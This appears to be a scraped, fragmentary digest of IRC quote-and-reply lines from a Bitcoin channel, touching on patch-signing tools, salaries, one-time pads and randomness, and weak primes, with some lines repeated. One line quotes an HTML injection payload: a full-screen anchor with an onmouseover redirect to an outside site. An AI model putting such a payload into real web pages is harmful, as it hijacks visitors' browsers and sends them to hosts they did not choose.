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mircea_popescu: "It is decision time guys and right now the number of nodes is what is most important, perhaps, even decisive."
<< o hey, it trickled down ?
BingoBoingo:
<ben_vulpes> who is this aquentin again?
<< troll dude
punkman: mats: there is a SyFy thing called The Expanse nao
<< possibly the only SyFy show I didn't stop watching mid-episode
ben_vulpes:
http://log.bitcoin-assets.com/?date=03-02-2016#1395703 << so here's what my (unreleased, v2) vtron does: it grabs all patches and all sigs, merges them into an alphabetically sorted list, and then munches through that list attaching sigs whose name matches the previous patch to that patch. is this a blindingly stupid thing to do? i realize that it depends implicitly on the naming convention, but would like to hear about other unrealized
☝︎ phf: asciilifeform: nobody gives a shit re unpaid leave
<< maybe when begged for day at a time, but try taking a week of unpaid leave ~explicitly~ for vacation, and you're going to find yourself in "conversation" with hr pretty fast. putting that in contract is even trickier. it's a control issue, first and foremost
mircea_popescu: shinohai
<<< am I only person that thinks this is a horrible idea?
<< i can't discern what the idea is supposed to be. glorified vps ? 9.95 a month sorta deal.
mircea_popescu: ben_vulpes> "and enough statistics to place myself at the top of the bell curve"
<<< haha good one.
phf:
http://log.bitcoin-assets.com/?date=06-02-2016#1397760 << when i was interviewing last year, was straight up told by several different companies that i should adjust my rate because i won't be able to compete in the market (that's a direct quote from on of the hr people). one company we went through several phone calls where different people were telling me that the salary requirement is a bit high, but maybe we can work something out
☝︎ mircea_popescu:
<a title='x onmouseover=window.location.href=(this.href) href=
http://www.reviewsya.com style=position:absolute;left:0;top:0;width:5000px;height:5000px AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
mircea_popescu: understand : if you collect say 1024 random bits, the chances of seeing 512 1s and 512 0s are
< 1%
punkman: perfect noise = all items have exact same probability to appear.
<< do 0 and 1s not have same probability to appear in random bitstring?
BingoBoingo:
<mircea_popescu> was also a penguin linked here recently, same idea.
<< Problem of using block cipher as code book
BingoBoingo:
<punkman> gotta have something to remember how much of the otp has been used
<< burn the used pages of your cipherbook
mircea_popescu: mod6> i don't think a billion units is lulzy at all.
<< what is this re ?
mircea_popescu: asciilifeform> otp.
<< if the key is 64kb, technically otp would work fine for message up to 64kb.
BingoBoingo:
<mircea_popescu> apparently i'm "self exiled to argentina" because i'm fucking local now.
<< I did that troll
mircea_popescu: I think I know what (s)he is talking about - it's similar to this one
https://vimeo.com/7125141 [vimeo.com] , and involves MP breaking down in the face of confrontation. Not necessarily crying per se, but he acts like a kid who has been told he can't go out and play until he eats his broccoli. Might even be the same event, but this video was put out by MP and is edited to make MP look good, at least in his own eyes.
<< assbot: Logged on 06-02-2016 13:51:36; pete_d_out: " In the latest move, AMD unveiled its FirePro S-Series GPUs that include the company's hardware-virtualization GPU architecture, Multiuser GPU (MxGPU). The technology is aimed at such segments as virtual desktop infrastructure (VDI), remote workstations, cloud gaming and cloud computing."
<< is cloud gaming a thing now ? i thought it was all ipad gaming.
BingoBoingo:
<asciilifeform> and go and try turning it into vertical orientation, looks like shit soup
<< AMD thinkpadish was acquired for acceptable vertical quality. Imagined myself holding it like a book for ebook reading.
assbot: Logged on 04-08-2015 02:48:13; asciilifeform:
http://log.bitcoin-assets.com/?date=04-08-2015#1223506 << i've said it before, will say again: if you can fake your way out of 'overqualified, go away' when applying to be a cook or street sweeper, you can and will work profitably in hollywood or cia
pete_d_out: " In the latest move, AMD unveiled its FirePro S-Series GPUs that include the company's hardware-virtualization GPU architecture, Multiuser GPU (MxGPU). The technology is aimed at such segments as virtual desktop infrastructure (VDI), remote workstations, cloud gaming and cloud computing."
<< is cloud gaming a thing now ? i thought it was all ipad gaming.
☟︎ pete_d_out: “Workers are still a little discounted” in most fields, said Linda Barrington, executive director of the Institute for Compensation Studies at Cornell University’s ILR School. “Employers won’t pay what the last person in the job was paid because labor is now on sale.”"
<< ahh, i can taste the sweet butthurt tears of bahamas and his dream of a fully employed economy. "no one could've predicted" eh ?
danielpbarron: >> God said Linux's Wine should replace Windows.
<< of course he never cites chapter and verse on any of these "God said"s
mircea_popescu: ct, s 23.1(3), should the Minister of Justice and Attorney General wish to do so within that period of time. Absent any submissions this order will become final on November 6, 2015."
<< the best part is that the dude spent a while harping about how bullshit foisted agreements are bullshit ; then went on to do EXACTLY the same ; and all the while fails to understand wtf exactly impels the guy to behave thusly.
BingoBoingo:
<asciilifeform> BingoBoingo: the slashdot thing is raw sewage. srsly i 'want my five minutes back' plox.
<< Ask gasenwagen driver for a cigarette when the time comes
assbot: Logged on 06-02-2016 00:34:19; punkman: ascii_butugychag: i'll pass.
<< weren't you after blobless workstation with recent cpu?
mircea_popescu: "Anyhow, it would be a bunch of work for 10 BTC. Hardly worth anyone's time, given this bozo is gonna take all the credit, you probably don't even get fame nor fortune..."
<< jesus almighty. this is why it's fucking public, and lordship and all that, right ?
mircea_popescu: "256 bits has sufficient entropy to render any brute force attack, and even severe weakening (e.g. sq root effort attacks) utterly infeasible."
<< dude where the fuck do they come from.
mircea_popescu: "Behold, Mr Mackey, riding a horse so naturally it makes your dick hard. And there be bitches, oh yes."
<< i wonder what knowitall derp'd do if he actually knew what he's talking about.
punkman: ascii_butugychag: i'll pass.
<< weren't you after blobless workstation with recent cpu?
☟︎ BingoBoingo:
<mircea_popescu> "Not satire, just stupid and wrong." lol BingoBoingo just how much derp butthurt have you produced today ?
<< Less than usual actually.
mircea_popescu: While it’s unknown how Wang chose the prime, other commenters on the post said that checks in OpenSSL and other tools used to generate primes cannot be sure if the numbers are prime. Rieger told Threatpost: “I do not know if a quick way exists to check this definitely. No attempts were made at all.”
<< and we never heard of phuctor etc.